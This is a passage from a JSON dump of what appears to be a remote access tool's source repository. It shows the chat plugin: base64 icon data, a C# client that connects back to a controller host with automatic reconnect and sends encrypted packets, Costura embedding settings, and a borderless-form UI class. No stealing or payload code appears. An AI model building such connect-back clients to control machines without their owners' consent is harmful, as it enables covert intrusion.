AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\n        AAAAg2hGAoBmRwl8ZEgAcV5JImxbSYdnWEgpAAAAAFhNQ9JSSUH/SkM9/0M9Of87NjS+NDAwZC8sLQUA\n        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\n        AAAAkG9ACIxtQg2EaEYnf2ZIkHliSddzX0mLa1pJVGZXSPRhU0dBV0xDcFJJQf9KQz3/Qz05/zs2NOU3\n        MjILAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\n        AAAAAAAAAJdyOjGRcD+Ci2xDwYVpRfJ/ZkjGeWJJq3JfSfxsW0nzZldI/mBSRuxaTkQgUUhAzkpDPf9D\n        PTn/OzY0/zUwMJYAAAAAAAAAAAAAAAAAAAAAIB8jIyAfI1EAAAAAAAAAAAAAAAAAAAAAAAAAALZ9BAix\n        fAwyq3kUVqV3IG6fdS1/mHI4iJFwP4qLbEOIhWlFsn9mSP95Ykn/cl9J/2xbSf9mV0j/X1JG/1lORONR\n        SEHNSkM9/0M9Of87NjT/NDAw8wAAAAAAAAAAAAAAAAAAAAAgHyNyIB8j2AAAAAAAAAAAAAAAAMSBADS+\n        gAB6t30CobJ8DJyreRSapXcgoJ91La+YcjjFkXA/4otsQ/2FaUX/f2ZI/3liSf9yX0n/bFtJ/2ZXSP9f\n        Ukb/WU1E/1JJQf9KQz3/Qz05/zs2NP8zLzD9LSoreSYkJzohICROIB8jjD0uKf4xKCa6AAAAAAAAAAAA\n        AAAAyIIAAAAAAAC2fQQbsXwMe6t5FLSldyDXn3Ut45hyONqScD/Oi2xDyYVpReF/Zkj7eWJJ/3JfSf9s\n        W0n/ZldI/19SRv9ZTUT/UklB/0pDPf9DPTn/OzY0/zMvMP8sKSv/JiQn/yEgJP8gHyP/QzEq/yAfI7EA\n        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAKJ2JgCddS8Ml3I5J5FwP0GLbENchWlFeH9mSJl5\n        YknNcl5J+mxbSf9mV0j/X1JG/1lNRP9SSUH/SkM9/0M9Of87NjT/My8w/ywpK/8mJCf/ISAk/yEgI/8h\n        ICP/IB8jUgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAkG9AGotsQ2KF\n        aUWUf2ZIu3liSc9yXknqbFtJ/2ZXSP9fUkb/Wk5E/2lSQf9pUD7/aE08/2ZKOf9aQjX/LCkr/yYkJ/8h\n        ICT/IB8j3iQiJWMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAnHQyApdyOUaR\n        cD+Ci2xDmYVpRax/Zki6eWJJxHNfScNsW0ncZ1dI/3RZRf9vVUP/VUpB/0pDPf9DPTn/OzY0/zcxMP8x\n        LCz+JiQnwyonKrVKQj3ZYlRH23hiSF+NbUEXq3kWBMCAABcAAAAAAAAAAAAAAAAAAAAAAAAAAKR3Ix2e\n        dS6EmHI4s5FwP8aLbEPRhWlF4X9mSON5YknRcl5Jz3VdSP95XUb/YVJG/1lNRP9SSUH/SkM9/0M9Of87\n        NjT/My8w/y0qK8IhICSPLyssvkpCPdtjVEfyemNI+pBvPvWoeBvYvH8BdwAAAAAAAAAAAAAAAK97Dwir\n        eRRnpncffJ91LEKXcjk/kXA/motsQ7CFaUXJf2ZI+HliSf97YUj/dF1I/2ZXSP9fUkb/WU1E/1JJQf9K\n        Qz3/Qz05/zs2NP8zLzD/LSorliIhJKQ7NjS8W09EoXhiSH2TcDtZr3sQMsKBAAQAAAAAAAAAAAAAAAAA\n        AAAAsHsOB697DwAAAAAAAAAAAAAAAACQb0ATi2xDdIVpRet/Zkj/emNJ/3VfSf9sW0n/ZldI/19SRv9Z\n        TUT/UklB/0pDPf9DPTn/OzY0/zMvMP8vLC0zAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\n        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAl3I6QJFwP7KLbEP2hWlF/39mSP95Ykn/cl9J/2xbSf9m\n        V0j/YFJG/11PRP9VSkH/SkM9/0M9Of87NjT/My8w/y8sLR8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\n        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAJ11LzSYcjiekXA/yItsQ/OFaUX/f2ZI/3liSf9y\n        X0n/bltJ/21ZR/9rVkX/ZVJD/2VQQf9pUD7/ak48/zs2NP8zLzD/LissWSUjJgEAAAAAAAAAAAAAAAAA\n        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACkdyQrn3UtpphyOKWRcD/Vi2xD3YVpRfh/\n        Zkj/eWJJ/3JfSf9sW0n/ZldI/19SRv9ZTUT/UklB/0pDPf9VRTv/Y0g4/zMvMP8sKivsJyUoYwAAAAAA\n        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAqXkXDqV3IF6edS6nmHI4zJFwP6mL\n        bEPqhWlF139mSPh5Ykn/cl9J/2xbSf9mV0j/X1JG/1lNRNlRSEHkSkM9/1NEOv9gRzj/My8w/ywqK9co\n        JigNAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACpeRcYpXcgxZ91LYmX\n        cjnGknA/wotsQ7GFaUX1f2ZI23liSfZyX0n/bFtJ+2ZXSKBhU0cxV0xDNlFIQfNNRD3/Xkk7/zs2NP80\n        MDDPLissGwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAr3sPAqt5FH+l\n        dyFkn3Ut45hyOJGRcD/ZjG1C2IVpRaB/ZkjveWJJ/3NfSbBtXEkmZFZIFV9SRoFYTUT3UklB/0pDPf9D\n        PTn5PDc1iDYyMggAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACv\n        ew8EqnkWTKZ3H9OedS58mHI49pJwPp+LbEOphWlF/39mSOJ5Y0lgcl5JamxbSbRmV0jmYFJGy1hNRMFS\n        SUHHS0M9ikU/Oh8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\n        AAAAAAAAAK97DxasehOwpHchbZ91LfeYcjd9kXA/zotsQ/+GaUWjgWdHDwAAAAAAAAAAa1pJEmZXSDZf\n        UkZQWU5EO1RLQgQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\n        AAAAAAAAAAAAAAAAAAAAsHsOLap5FUuldx/wn3UtcZdyOeOScD/3jG1CYohrRAAAAAAAAAAAAAAAAAAA\n        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\n        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAACvew8Qq3kU3aZ3H2ifdS3pmHI46JNxPTYAAAAAAAAAAAAAAAAA\n        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\n        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAALB7Dm+sehNWpXcg3p91LNyaczUiAAAAAAAAAAAA\n        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\n        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAsnwMEKp5FaOmdx/doXYpHAAAAAAA\n        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\n        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACvew8ZrHkT6Kd4GyMA\n        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\n        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAK97Dyat\n        ehFAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\n        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\n        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\n</value>\n  </data>\n</root>"
  },
  {
    "path": "Remote Access Tool/Plugins/Chat/ClientHandler.cs",
    "content": "﻿using PacketLib;\nusing PacketLib.Packet;\nusing PacketLib.Utils;\nusing System;\nusing System.Drawing;\nusing System.IO;\nusing System.Net.Sockets;\nusing System.Windows.Forms;\n\n/* \n|| AUTHOR Arsium ||\n|| github : https://github.com/arsium       ||\n*/\n\nnamespace Plugin\n{\n    internal class ClientHandler : IDisposable\n    {\n        public Host host { get; set; }\n        private Socket socket { get; set; }\n        public bool Connected { get; set; }\n        public string HWID { get; set; }\n        public string baseIp { get; set; }\n        public string key { get; set; }\n        public bool hasToExit { get; set; }\n\n        public delegate bool ConnectAsync();\n        private delegate int SendDataAsync(IPacket data);\n\n\n        public ConnectAsync connectAsync;\n        private readonly SendDataAsync sendDataAsync;\n\n        public delegate byte[] ReadDataAsync();\n        public delegate IPacket ReadPacketAsync(byte[] BufferPacket);\n\n        public ReadDataAsync readDataAsync;\n        public ReadPacketAsync readPacketAsync;\n\n\n        public ClientHandler(Host host, string key, string baseIp, string HWID) : base()\n        {\n            this.hasToExit = false;\n            this.host = host;\n            this.key = key;\n            this.HWID = HWID;\n            this.baseIp = baseIp;\n            sendDataAsync = new SendDataAsync(SendData);\n            readDataAsync = new ReadDataAsync(ReceiveData);\n            readPacketAsync = new ReadPacketAsync(PacketParser);\n        }\n\n        public void ConnectStart()\n        {\n            connectAsync = new ConnectAsync(Connect);\n            connectAsync.BeginInvoke(new AsyncCallback(EndConnect), null);\n        }\n\n        private bool Connect()\n        {\n            try\n            {\n                socket = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);\n                socket.SetSocketOption(SocketOptionLevel.Socket, SocketOptionName.KeepAlive, true);\n                socket.Connect(host.host, host.port);\n                return true;\n            }\n            catch { }\n            return false;\n        }\n        public void EndConnect(IAsyncResult ar)\n        {\n            Connected = connectAsync.EndInvoke(ar);\n\n            if (hasToExit)\n            {\n                return;\n            }\n            else if (!Connected)\n            {\n                ConnectStart();\n            }\n            else\n            {\n                Receive();\n            }\n        }\n\n        public void Receive()\n        {\n            if (hasToExit)\n                return;\n            if (Connected)\n                readDataAsync.BeginInvoke(new AsyncCallback(EndDataRead), null);\n            else\n                ConnectStart();\n        }\n\n        private byte[] ReceiveData()\n        {\n            try\n            {\n                int total = 0;\n                int recv;\n                byte[] header = new byte[5];\n                socket.Poll(-1, SelectMode.SelectRead);\n                recv = socket.Receive(header, 0, 5, 0);\n\n                int size = BitConverter.ToInt32(new byte[4] { header[0], header[1], header[2], header[3] }, 0);\n                PacketType packetType = (PacketType)header[4];\n\n                int dataleft = size;\n                byte[] data = new byte[size];\n                while (total < size)\n                {\n                    recv = socket.Receive(data, total, dataleft, 0);\n                    total += recv;\n                    dataleft -= recv;\n                }\n\n                return data;\n            }\n            catch (Exception)\n            {\n                if (Connected)\n                    hasToExit = true;\n\n                return null;\n            }\n        }\n        public void EndDataRead(IAsyncResult ar)\n        {\n            byte[] data = readDataAsync.EndInvoke(ar);\n\n            if (data != null && Connected)\n                readPacketAsync.BeginInvoke(data, new AsyncCallback(EndPacketRead), null);\n            Receive();\n        }\n\n\n        private IPacket PacketParser(byte[] BufferPacket)\n        {\n            try\n            {\n                return BufferPacket.DeserializePacket(this.key);\n            }\n            catch (Exception)\n            { return null;  }\n        }\n\n        public void EndPacketRead(IAsyncResult ar)\n        {\n            IPacket packet = readPacketAsync.EndInvoke(ar);\n\n            if (packet != null)\n                ParsePacket(packet);\n        }\n\n        public void ParsePacket(IPacket packet)\n        {\n            switch (packet.PacketType)\n            {\n                case PacketType.CHAT_ON:\n                    RemoteChatPacket chatPacket = (RemoteChatPacket)packet;\n                    Launch.chatForm.Invoke((MethodInvoker)(() => \n                    {\n                        Launch.chatForm.msgRichTextBox.SelectionColor = Color.FromArgb(197, 66, 245);\n                        Launch.chatForm.msgRichTextBox.AppendText(chatPacket.msg);\n                    }));\n                    break;\n\n                case PacketType.CHAT_OFF:\n                    hasToExit = true;\n                    Launch.ExitChatForm();\n                    break;\n            }\n        }\n\n        public void SendPacket(IPacket packet)\n        {\n            if (Connected)\n                sendDataAsync.BeginInvoke(packet, new AsyncCallback(SendDataCompleted), null);\n        }\n        private int SendData(IPacket data)\n        {\n\n            byte[] encryptedData = data.SerializePacket(this.key);\n\n            int total = 0;\n            int size = encryptedData.Length;\n            int datalft = size;\n            byte[] header = new byte[5];\n\n            byte[] temp = BitConverter.GetBytes(size);\n\n            header[0] = temp[0];\n            header[1] = temp[1];\n            header[2] = temp[2];\n            header[3] = temp[3];\n            header[4] = (byte)data.PacketType;\n\n            lock (socket)\n            {\n                try\n                {\n                    socket.Poll(-1, SelectMode.SelectWrite);\n                    int sent = socket.Send(header);\n\n                    if (size > 1000000)\n                    {\n                        using (MemoryStream memoryStream = new MemoryStream(encryptedData))\n                        {\n                            int read = 0;\n                            memoryStream.Position = 0;\n                            byte[] chunk = new byte[50 * 1000];\n                            while ((read = memoryStream.Read(chunk, 0, chunk.Length)) > 0)\n                            {\n                                socket.Send(chunk, 0, read, SocketFlags.None);\n                            }\n                        }\n                    }\n                    else\n                    {\n                        while (total < size)\n                        {\n                            sent = socket.Send(encryptedData, total, size, SocketFlags.None);\n                            total += sent;\n                            datalft -= sent;\n                        }\n                    }\n                    return size;\n\n                }\n                catch (Exception)\n                {\n                    Connected = false;\n                    return 0;\n                }\n            }\n        }\n\n        private void SendDataCompleted(IAsyncResult ar)\n        {\n            sendDataAsync.EndInvoke(ar);\n        }\n\n        public void Dispose()\n        {\n            socket.Close();\n            socket.Dispose();\n            socket = null;\n        }\n    }\n}\n"
  },
  {
    "path": "Remote Access Tool/Plugins/Chat/FodyWeavers.xml",
    "content": "﻿<Weavers xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:noNamespaceSchemaLocation=\"FodyWeavers.xsd\">\n  <Costura />\n</Weavers>"
  },
  {
    "path": "Remote Access Tool/Plugins/Chat/FodyWeavers.xsd",
    "content": "﻿<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<xs:schema xmlns:xs=\"http://www.w3.org/2001/XMLSchema\">\n  <!-- This file was generated by Fody. Manual changes to this file will be lost when your project is rebuilt. -->\n  <xs:element name=\"Weavers\">\n    <xs:complexType>\n      <xs:all>\n        <xs:element name=\"Costura\" minOccurs=\"0\" maxOccurs=\"1\">\n          <xs:complexType>\n            <xs:all>\n              <xs:element minOccurs=\"0\" maxOccurs=\"1\" name=\"ExcludeAssemblies\" type=\"xs:string\">\n                <xs:annotation>\n                  <xs:documentation>A list of assembly names to exclude from the default action of \"embed all Copy Local references\", delimited with line breaks</xs:documentation>\n                </xs:annotation>\n              </xs:element>\n              <xs:element minOccurs=\"0\" maxOccurs=\"1\" name=\"IncludeAssemblies\" type=\"xs:string\">\n                <xs:annotation>\n                  <xs:documentation>A list of assembly names to include from the default action of \"embed all Copy Local references\", delimited with line breaks.</xs:documentation>\n                </xs:annotation>\n              </xs:element>\n              <xs:element minOccurs=\"0\" maxOccurs=\"1\" name=\"Unmanaged32Assemblies\" type=\"xs:string\">\n                <xs:annotation>\n                  <xs:documentation>A list of unmanaged 32 bit assembly names to include, delimited with line breaks.</xs:documentation>\n                </xs:annotation>\n              </xs:element>\n              <xs:element minOccurs=\"0\" maxOccurs=\"1\" name=\"Unmanaged64Assemblies\" type=\"xs:string\">\n                <xs:annotation>\n                  <xs:documentation>A list of unmanaged 64 bit assembly names to include, delimited with line breaks.</xs:documentation>\n                </xs:annotation>\n              </xs:element>\n              <xs:element minOccurs=\"0\" maxOccurs=\"1\" name=\"PreloadOrder\" type=\"xs:string\">\n                <xs:annotation>\n                  <xs:documentation>The order of preloaded assemblies, delimited with line breaks.</xs:documentation>\n                </xs:annotation>\n              </xs:element>\n            </xs:all>\n            <xs:attribute name=\"CreateTemporaryAssemblies\" type=\"xs:boolean\">\n              <xs:annotation>\n                <xs:documentation>This will copy embedded files to disk before loading them into memory. This is helpful for some scenarios that expected an assembly to be loaded from a physical file.</xs:documentation>\n              </xs:annotation>\n            </xs:attribute>\n            <xs:attribute name=\"IncludeDebugSymbols\" type=\"xs:boolean\">\n              <xs:annotation>\n                <xs:documentation>Controls if .pdbs for reference assemblies are also embedded.</xs:documentation>\n              </xs:annotation>\n            </xs:attribute>\n            <xs:attribute name=\"DisableCompression\" type=\"xs:boolean\">\n              <xs:annotation>\n                <xs:documentation>Embedded assemblies are compressed by default, and uncompressed when they are loaded. You can turn compression off with this option.</xs:documentation>\n              </xs:annotation>\n            </xs:attribute>\n            <xs:attribute name=\"DisableCleanup\" type=\"xs:boolean\">\n              <xs:annotation>\n                <xs:documentation>As part of Costura, embedded assemblies are no longer included as part of the build. This cleanup can be turned off.</xs:documentation>\n              </xs:annotation>\n            </xs:attribute>\n            <xs:attribute name=\"LoadAtModuleInit\" type=\"xs:boolean\">\n              <xs:annotation>\n                <xs:documentation>Costura by default will load as part of the module initialization. This flag disables that behavior. Make sure you call CosturaUtility.Initialize() somewhere in your code.</xs:documentation>\n              </xs:annotation>\n            </xs:attribute>\n            <xs:attribute name=\"IgnoreSatelliteAssemblies\" type=\"xs:boolean\">\n              <xs:annotation>\n                <xs:documentation>Costura will by default use assemblies with a name like 'resources.dll' as a satellite resource and prepend the output path. This flag disables that behavior.</xs:documentation>\n              </xs:annotation>\n            </xs:attribute>\n            <xs:attribute name=\"ExcludeAssemblies\" type=\"xs:string\">\n              <xs:annotation>\n                <xs:documentation>A list of assembly names to exclude from the default action of \"embed all Copy Local references\", delimited with |</xs:documentation>\n              </xs:annotation>\n            </xs:attribute>\n            <xs:attribute name=\"IncludeAssemblies\" type=\"xs:string\">\n              <xs:annotation>\n                <xs:documentation>A list of assembly names to include from the default action of \"embed all Copy Local references\", delimited with |.</xs:documentation>\n              </xs:annotation>\n            </xs:attribute>\n            <xs:attribute name=\"Unmanaged32Assemblies\" type=\"xs:string\">\n              <xs:annotation>\n                <xs:documentation>A list of unmanaged 32 bit assembly names to include, delimited with |.</xs:documentation>\n              </xs:annotation>\n            </xs:attribute>\n            <xs:attribute name=\"Unmanaged64Assemblies\" type=\"xs:string\">\n              <xs:annotation>\n                <xs:documentation>A list of unmanaged 64 bit assembly names to include, delimited with |.</xs:documentation>\n              </xs:annotation>\n            </xs:attribute>\n            <xs:attribute name=\"PreloadOrder\" type=\"xs:string\">\n              <xs:annotation>\n                <xs:documentation>The order of preloaded assemblies, delimited with |.</xs:documentation>\n              </xs:annotation>\n            </xs:attribute>\n          </xs:complexType>\n        </xs:element>\n      </xs:all>\n      <xs:attribute name=\"VerifyAssembly\" type=\"xs:boolean\">\n        <xs:annotation>\n          <xs:documentation>'true' to run assembly verification (PEVerify) on the target assembly after all weavers have been executed.</xs:documentation>\n        </xs:annotation>\n      </xs:attribute>\n      <xs:attribute name=\"VerifyIgnoreCodes\" type=\"xs:string\">\n        <xs:annotation>\n          <xs:documentation>A comma-separated list of error codes that can be safely ignored in assembly verification.</xs:documentation>\n        </xs:annotation>\n      </xs:attribute>\n      <xs:attribute name=\"GenerateXsd\" type=\"xs:boolean\">\n        <xs:annotation>\n          <xs:documentation>'false' to turn off automatic generation of the XML Schema file.</xs:documentation>\n        </xs:annotation>\n      </xs:attribute>\n    </xs:complexType>\n  </xs:element>\n</xs:schema>"
  },
  {
    "path": "Remote Access Tool/Plugins/Chat/FormPattern.cs",
    "content": "﻿using System;\nusing System.Drawing;\nusing System.Runtime.InteropServices;\nusing System.Windows.Forms;\n\n/* \n|| AUTHOR Arsium ||\n|| github : https://github.com/arsium       ||\n*/\n\nnamespace EagleMonitor.Controls\n{\n    public class FormPattern : Form\n    {\n        //https://stackoverflow.com/questions/2575216/how-to-move-and-resize-a-form-without-a-border\n        public FormPattern()\n        {\n\n            this.FormBorderStyle = FormBorderStyle.None; // no borders\n            this.DoubleBuffered = true;\n            this.SetStyle(ControlStyles.ResizeRedraw | ControlStyles.OptimizedDoubleBuffer, true); // this is to avoid visual artifacts\n        }\n\n        private bool SizeableP = true;\n        private int HighB = 32;\n        private int OtherB = 3;\n        private Color C = Color.FromArgb(94, 148, 255);//ColorTranslator.FromHtml(\"#00adef\");\n\n        public Color BorderColor \n        {\n            get\n            {\n                return C;\n            }\n            set\n            {\n                C = value;\n                this.Refresh();\n            }\n        }\n\n        public bool Sizeable\n        {\n            get\n            {\n                return SizeableP;\n            }\n            set\n            {\n                SizeableP = value;\n                this.Refresh();\n            }\n        }\n\n        public int HighBorder\n        {\n            get\n            {\n                return HighB;\n            }\n            set\n            {\n                HighB = value;\n                this.Refresh();\n            }\n        }\n        public int BordersSize\n        {\n            get\n            {\n                return OtherB;\n            }\n            set\n            {\n                OtherB = value;\n                this.Refresh();\n            }\n        }\n        protected override void OnPaint(PaintEventArgs e) // you can safely omit this method if you want\n        {\n            //Color C = ColorTranslator.FromHtml(\"#00adef\");\n\n            SolidBrush B = new SolidBrush(BorderColor);\n\n            //e.Graphics.FillRectangle(Brushes.Green, Top);\n            e.Graphics.FillRectangle(B, Top);\n            e.Graphics.FillRectangle(B, Left);\n            e.Graphics.FillRectangle(B, Right);\n            e.Graphics.FillRectangle(B, Bottom);\n        }\n\n        private const int\n            HTLEFT = 10,\n            HTRIGHT = 11,\n            HTTOP = 12,\n            HTTOPLEFT = 13,\n            HTTOPRIGHT = 14,\n            HTBOTTOM = 15,\n            HTBOTTOMLEFT = 16,\n            HTBOTTOMRIGHT = 17;\n\n        const int _ = 3; // you can rename this variable if you like\n\n        new Rectangle Top { get { return new Rectangle(0, 0, this.ClientSize.Width, HighB); } }\n\n        new Rectangle Left { get { return new Rectangle(0, 0, OtherB, this.ClientSize.Height); } }\n\n        new Rectangle Bottom { get { return new Rectangle(0, this.ClientSize.Height - OtherB, this.ClientSize.Width, OtherB); } }\n\n        new Rectangle Right { get { return new Rectangle(this.ClientSize.Width - OtherB, 0, OtherB, this.ClientSize.Height); } }\n\n        Rectangle TopLeft { get { return new Rectangle(0, 0, OtherB, OtherB); } }\n        Rectangle TopRight { get { return new Rectangle(this.ClientSize.Width - OtherB, 0, OtherB, OtherB); } }\n        Rectangle BottomLeft { get { return new Rectangle(0, this.ClientSize.Height - OtherB, OtherB, OtherB); } }\n        Rectangle BottomRight { get { return new Rectangle(this.ClientSize.Width - OtherB, this.ClientSize.Height - OtherB, OtherB, OtherB); } }\n\n        new Padding Padding { get { return new Padding(OtherB, HighB, OtherB, OtherB); } }\n\n        [DllImport(\"user32.dll\")]\n        public extern static IntPtr SendMessage(IntPtr a, int msg, int wParam, int lParam);\n\n        private void InitializeComponent()\n        {\n            this.SuspendLayout();\n            // \n            // FormPattern\n            // \n            this.ClientSize = new System.Drawing.Size(262, 239);\n            this.Name = \"FormPattern\";\n            this.Load += new System.EventHandler(this.FormPattern_Load);\n            this.ResumeLayout(false);\n\n        }\n\n        private void FormPattern_Load(object sender, EventArgs e)\n        {\n\n        }\n\n        [DllImport(\"user32.dll\")]\n        public extern static bool ReleaseCapture();\n\n        public const int WM_NCLBUTTONDOWN = 0xA1;\n        public const int HT_CAPTION = 0x2;\n\n        protected override void WndProc(ref Message message)\n        {\n            try\n            {\n                base.WndProc(ref message);\n\n                if (message.Msg == 0x84) // WM_NCHITTEST\n                {\n                    if (SizeableP == true)\n                    {\n                        var cursor = this.PointToClient(Cursor.Position);\n\n                        if (TopLeft.Contains(cursor)) message.Result = (IntPtr)HTTOPLEFT;\n                        else if (TopRight.Contains(cursor)) message.Result = (IntPtr)HTTOPRIGHT;\n                        else if (BottomLeft.Contains(cursor)) message.Result = (IntPtr)HTBOTTOMLEFT;\n                        else if (BottomRight.Contains(cursor)) message.Result = (IntPtr)HTBOTTOMRIGHT;\n\n                        //else if (Top.Contains(cursor)) message.Result = (IntPtr)HTTOP;\n\n                        else if (Left.Contains(cursor)) message.Result = (IntPtr)HTLEFT;\n                        else if (Right.Contains(cursor)) message.Result = (IntPtr)HTRIGHT;\n                        else if (Bottom.Contains(cursor)) message.Result = (IntPtr)HTBOTTOM;\n                    }\n                }\n            }\n            catch {}     \n        }\n\n        protected override void OnMouseDown(MouseEventArgs e)\n        {\n\n            var cursor = this.PointToClient(Cursor.Position);\n\n            if (0 <= cursor.Y && cursor.Y <= 30)\n            {\n                MoveForm_();\n            }\n\n            base.OnMouseDown(e);\n        }\n        protected void MoveForm_()\n        {\n            ReleaseCapture();\n            SendMessage(this.FindForm().Handle, 161, 2, 0);\n        }\n        protected IntPtr MoveForm()\n        {\n            ReleaseCapture();\n            return SendMessage(this.FindForm().Handle, 161, 2, 0);\n        }\n    }\n}\n"
  },
  {
    "path": "Remote Access Tool/Plugins/Chat/FormPattern.resx",
